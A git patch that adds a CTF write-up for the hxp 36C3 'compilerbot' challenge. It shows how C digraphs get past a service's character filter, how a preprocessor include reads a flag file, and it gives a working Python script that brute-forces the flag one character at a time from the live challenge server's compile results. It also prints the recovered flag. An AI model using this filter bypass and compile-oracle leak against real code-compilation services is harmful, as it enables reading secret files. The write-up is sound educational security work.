From 94dbf78971540df4038a791c3311d72c288c0f88 Mon Sep 17 00:00:00 2001 From: Jakob Bleier Date: Sun, 26 Jan 2020 19:33:55 +0000 Subject: [PATCH] Added writeup --- writeups/jbleier/hxp_36c3_ctf.md | 185 +++++++++++++++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 writeups/jbleier/hxp_36c3_ctf.md diff --git a/writeups/jbleier/hxp_36c3_ctf.md b/writeups/jbleier/hxp_36c3_ctf.md new file mode 100644 index 0000000..8f8910d --- /dev/null +++ b/writeups/jbleier/hxp_36c3_ctf.md @@ -0,0 +1,185 @@ +# HXP CTF + +## Assesment 1 + +This story starts with a cup of tea and a look around, usually it takes a while to find an interesting challenge + +1. compilerbot + 1. docker, python and a stripped ELF 64-bit LSB shared object, x86-64 as per the `file` sommand + 2. the python3 service is receiving string, removing '{#}' and sending to clang to compile + 3. the binary is ynetd, a "tiny super server written in go", but in the dockerfile cli options are used that do not appear in the ynetd documentation + 4. running it gives us "ctf-ynetd: hardened for ctfs", meh. cli settings limit memory used and cpu-time + 5. unexpectedly, the first challenge I look at is interesting, proceeding. + +## compilerbot + +1. clang invoked with: + - -x c → c language only + - -std=c11 → c11 compliance + - -Wall, -Wextra, -Werror, -Wmain, -Wfatal-errors → as it should be ;) anything and their dog will throw an error and they will fail compilation. + - -o /dev/null → the compiled thing will never be run. + - output is checked and "ok" / "not ok" returned → we can't read stdout but we get binary response +2. general idea: + 1. make clang read flag file and return ok/not depending on its content + 2. crash the compiler if a certain bit in a flag file is set, succeed with compilation if not. or by character. +3. caveats: + 1. no blocks because "{}" is filtered + 2. no includes/pragma because "#" is filtered +4. sanity check: `echo "return 1;" | base64` sending results in OK. nice. +5. set up local testing: `clang -x c -std=c11 -Wall -Wextra -Werror -Wmain -Wfatal-errors foo.c && ./a.out` and put everything inside `int main(void) {}` +6. can trigrams work? → google says it's trigraphs and no, trigraph converted to pound throws an error with the given settings. No include magic. damn + 1. `foo.c:3:9: fatal error: multi-line // comment [-Wcomment] + //??/` + 2. `foo.c:2:5: fatal error: trigraph converted to '#' character [-Wtrigraphs]` +7. and digraphs? → YES! nice. `%:` is a substitute for `#`, and `<%` and `%>` can subs `{}` +8. includes are game now, as are pragmas. + 1. make our life easier and disable all warnings, because that's a thing that works + + #include // just testing multiline + int main() { + %:pragma clang diagnostic ignored "-Weverything" + //??/ + printf("hi"); // does not print because line above uses trigraph for \, making multi-line comment possible + // does also not throw an error because pragma works without pragma throws error. + } + +9. primitives we need: + 1. get content of file into some kind of variable. + 2. make bit/char comparision in the precompiler and crash compilation in one case +10. read content into var: (this took a while) + 1. stackoverflow not very promising: [https://stackoverflow.com/questions/43256465/include-a-file-as-a-string](https://stackoverflow.com/questions/43256465/include-a-file-as-a-string) + 2. clang manual not helpful (grep read, initialize, ..) [https://clang.llvm.org/docs/UsersManual.html](https://clang.llvm.org/docs/UsersManual.html) + 3. we can't just `char flag[] = #include "flag";` because include flag is not a string. + 4. we need to cast it in the preprocessor + 1. [https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361](https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361) + 2. nice, we can cast it easily with `#define STRINGIFY(x) #x` makes token x to a string + 5. so we need to surround it with STRINGIFY + + #define STRINGIFY(x) #x + char flag[] = + STRINGIFY( + #include "flag" + ); + + 1. does not work because `#include directive within macro arguments is not supported` + 2. damn. + 3. what if we first include and then trigger by replacing part of the flag we know? (hxp) + + #include + + int main() { + %:pragma clang diagnostic ignored "-Weverything" + + %:define STRINGIFY(x) #x + %:define hxp STRINGIFY( + char flag[] = + %:include "flag" + ); + printf(flag); + } + + 4. YESS that's a bingo +11. so, how to extract the flag with yes/no questions? + 1. just brute force crashes with out of bounds + 2. scrap crash, throw error or warning is enough, so we enable warnings again and use the flag value as an index to a const array → crashes if the flag character cast to int is out of bounds, with the length we can go 1 char at a time. + + // #include + + int main() { + // %:pragma clang diagnostic ignored "-Weverything" + + + #define STRINGIFY(x) #x + #define hxp STRINGIFY( + const unsigned char flag[] = + #include "flag" + ); + + const char test[127] = {0}; // crashes on 10, works on 127 + + char c = test[flag[0]]; + + return c; + } + + 3. python time! + + #!/usr/bin/env python3 + + import base64 + import socket + + + def compiles(program): + encoded_program = base64.b64encode(bytearray(program, "ascii")) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + # s.connect(("localhost", 8011)) + s.connect(("88.198.154.157", 8011)) + s.recv(100) + # print(encoded_program) + s.send(encoded_program) + s.sendall(bytearray("\r\n", "ascii")) + answer = s.recv(100) + # print(str(answer)) + return answer.decode("ascii").find("Not OK") < 0 + + + # testing is important + # progok = "return 1;" + # prognot = "return foo;" + # print(compiles(progok)) + # print(compiles(prognot)) + + + prog_brute = """ + %:define STRINGIFY(x) %:x + %:define hxp STRINGIFY( + const unsigned char flag[] = + %:include "flag" + ); + + const char test[{}] = <% 0 %>; + char c = test[flag[{}]]; + + return c; + """ + + + def mkprg(flag_position, value): + return prog_brute.format(value, flag_position) + + # more testing if everything works as expected + # print(mkprg(0, 127)) + # print(compiles(mkprg(0, 127))) + # print(mkprg(0, 10)) + # print(compiles(mkprg(0, 10))) + + + pos = 0 + flag = [] + while True: + for c in range(32, 128): # printable ascii characters start at 32 + # print(chr(c)) + if compiles(mkprg(pos, c)): + c -= 1 # adjust for indexing + print("found " + chr(c)) + flag.append(chr(c)) + break + if flag[-1] == '}': # we know the flag ends with this caracter + break + pos += 1 + + print(''.join(flag)) + + 4. Boom goes the dynamite. + `{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}` + +## Summary + +To my surprise I found a challenge right away that was interesting and on my skill level, usually it's much context switching and headbanging. In this case reading the flag file into a usable form was the most difficult part. + +### Technical Analysis + +Compiling C is hard and doing it safely even more so ([https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/](https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/)). I expected this challenge to be about having to know a certain trick, and to an extent it was the case: if certain characters are not available, Di- and Tri-graphs can be used as substitutes. The vulnerability in the compilerbot was not much more than a simple input validation issue. If the according trigraphs were not allowed, I guess there would still be clang internals one could exploit because there's just so much more attack surface — but it would have been a lot more difficult. + +To extract the flag a trick needs to be applied as the string can't be returned directly, only a binary value can be extracted. So for every position the flag value is used as an index to an array of increasing length per iteration. If the length is too short, the compiler will throw an error. If the length is sufficient however to read from our test array, the compilation succeeds and we know the value of a character of the flag. \ No newline at end of file -- 2.43.0